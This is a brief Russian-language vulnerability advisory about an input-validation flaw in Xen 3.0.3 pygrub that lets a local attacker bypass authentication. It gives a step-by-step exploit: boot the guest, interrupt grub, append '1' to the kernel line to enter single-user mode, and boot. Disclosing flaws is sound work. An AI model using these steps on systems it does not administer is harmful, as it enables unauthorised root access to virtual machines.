Программа: Xen 3.0.3

Уязвимость позволяет локальному злоумышленнику обойти ограничения
безопасности на целевой системе. Уязвимость существует из-за ошибки в проверке
входных данных в Xen pygrub. Эксплуатирование уязвимости приведет к обходу
механизма аутентификации на целевой системе.

Эксплоит:

xm create -c guest
press space bar to stop the grub count down
press e to edit
select the kernel line and press e
Append a "1" to the end of the kernel line and press return
press "b" to boot



Оставить мнение